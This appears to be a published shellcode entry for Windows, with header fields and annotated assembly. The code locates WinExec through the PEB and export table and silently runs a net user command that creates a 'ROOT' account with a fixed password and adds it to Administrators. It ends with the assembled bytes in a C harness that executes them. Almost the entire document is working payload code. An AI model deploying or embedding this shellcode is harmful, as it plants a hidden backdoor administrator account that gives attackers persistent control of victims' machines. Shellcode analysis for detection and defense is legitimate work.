## Exploit Title: Windows/x64 - WinExec Add-Admin Dynamic Null-Free Shellcode (210 Bytes)
## Exploit Author: Bobby Cooke
## Date: 2020-03-21
## Tested on: Windows 10 Home - 1909 (x86_64), Windows 10 Pro - 1909 (x86)
## Description: Windows Shellcode that adds the user 'ROOT' with the password 'I@mR00T$' to the system. The user 'ROOT' is then added to the localgroup 'Administrators'.
get_kernel32_address:
xor eax, eax
mov eax, [fs:eax+0x30] ; EAX = &PEB
mov eax, [eax+0xC] ; EAX = &LDR
mov esi, [eax+0x1C] ; ESI = 1st entry InitOrderList - ntdll.dll
lodsd ; EAX = 2nd entry InitOrderList - kernelbase.dll
xchg esi, eax
lodsd ; EAX = 3rd entry InitOrderList - kernel32.dll
mov eax, [eax+0x8] ; EAX = &Kernel32.dll
push eax
get_kernel32_export_table:
mov ebx, [eax+0x3C] ; EBX = RVA NewEXEHeader
add ebx, eax ; EBX = &NewEXEHeader
mov ebx, [ebx+0x78] ; EBX = RVA ExportTable
add ebx, eax ; EBX = &ExportTable
get_export_name_table:
mov edx, [ebx+0x20] ; EDX = RVA ExportNameTable
add edx, eax ; EDX = &ExportNameTable
get_export_ordinal_table:
mov ecx, [ebx+0x24] ; ECX = RVA ExportOrdinalTable
add ecx, eax ; ECX = &ExportOrdinalTable
push ecx
get_export_addr_table:
mov edi, [ebx+0x1C] ; EDI = RVA ExportAddrTable
add edi, eax ; EDI = &ExportAddrTable
push edi
WinExec_String:
push 0x456E6957 ; EniW
counter_init:
xor eax, eax ; EAX = Counter
searchLoop:
mov edi, edx ; EDI = &ExportNameTable
mov esi, esp ; ESI = "WinE"
xor ecx, ecx
cld ; Process strings left to right
mov edi, [edi+eax*4] ; EDI = RVA NthNameString
add edi, [esp+0xC] ; EDI = &NthNameString
add cx, 0x4 ; ECX = len("WinE")
repe cmpsb ; compare [&NthNameString] to "WinExec"
jz found ; If [&NthNameString] == "WinExec" end loop
inc eax ; Counter ++
jmp short searchLoop ; restart loop
found:
mov ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
mov ax, [ecx + eax*2] ; AX = ordinalNumber
mov edx, [esp+0x4] ; EDX = &ExportAddrTable
mov ebx, [edx + eax*4] ; EBX = RVA WinExec
add ebx, [esp+0xC] ; EBX = &WinExec
add_user:
; Call WinExec( CmdLine, ShowState );
; $CmdLine = 'cmd.exe /c net user ROOT I@mR00T$ /ADD && net localgroup Administrators ROOT /ADD'
; $ShowState = SW_HIDE
xor ecx, ecx
mul ecx
mov al, 0x44 ; D : 44
push eax
push 0x44412f20 ; DA/
push 0x544f4f52 ; TOOR
push 0x2073726f ; sro
push 0x74617274 ; tart
push 0x73696e69 ; sini
push 0x6d644120 ; mdA
push 0x70756f72 ; puor
push 0x676c6163 ; glac
push 0x6f6c2074 ; ol t
push 0x656e2026 ; en &
push 0x26204444 ; & DD
push 0x412f2024 ; A/ $
push 0x54303052 ; T00R
push 0x6d404920 ; m@I
push 0x544f4f52 ; TOOR
push 0x20726573 ; res
push 0x75207465 ; u te
push 0x6e20632f ; n c/
push 0x20657865 ; exe
push 0x2e646d63 ; .dmc
mov eax, esp ; EAX = &CmdLine
push ecx ; $ShowState
push eax ; $CmdLine
call ebx ; Call the WinExec Function
###############################################
#include <windows.h>
#include <stdio.h>
char code[] = \
"\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x96\xad\x8b\x40\x08\x50\x8b\x58\x3c\x01\xc3"
"\x8b\x5b\x78\x01\xc3\x8b\x53\x20\x01\xc2\x8b\x4b"
"\x24\x01\xc1\x51\x8b\x7b\x1c\x01\xc7\x57\x68\x57"
"\x69\x6e\x45\x31\xc0\x89\xd7\x89\xe6\x31\xc9\xfc"
"\x8b\x3c\x87\x03\x7c\x24\x0c\x66\x83\xc1\x04\xf3"
"\xa6\x74\x03\x40\xeb\xe7\x8b\x4c\x24\x08\x66\x8b"
"\x04\x41\x8b\x54\x24\x04\x8b\x1c\x82\x03\x5c\x24"
"\x0c\x31\xc9\xf7\xe1\xb0\x44\x50\x68\x20\x2f\x41"
"\x44\x68\x52\x4f\x4f\x54\x68\x6f\x72\x73\x20\x68"
"\x74\x72\x61\x74\x68\x69\x6e\x69\x73\x68\x20\x41"
"\x64\x6d\x68\x72\x6f\x75\x70\x68\x63\x61\x6c\x67"
"\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x24\x20\x2f\x41\x68\x52\x30\x30"
"\x54\x68\x20\x49\x40\x6d\x68\x52\x4f\x4f\x54\x68"
"\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x63"
"\x20\x6e\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e"
"\x89\xe0\x51\x50\xff\xd3";
int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}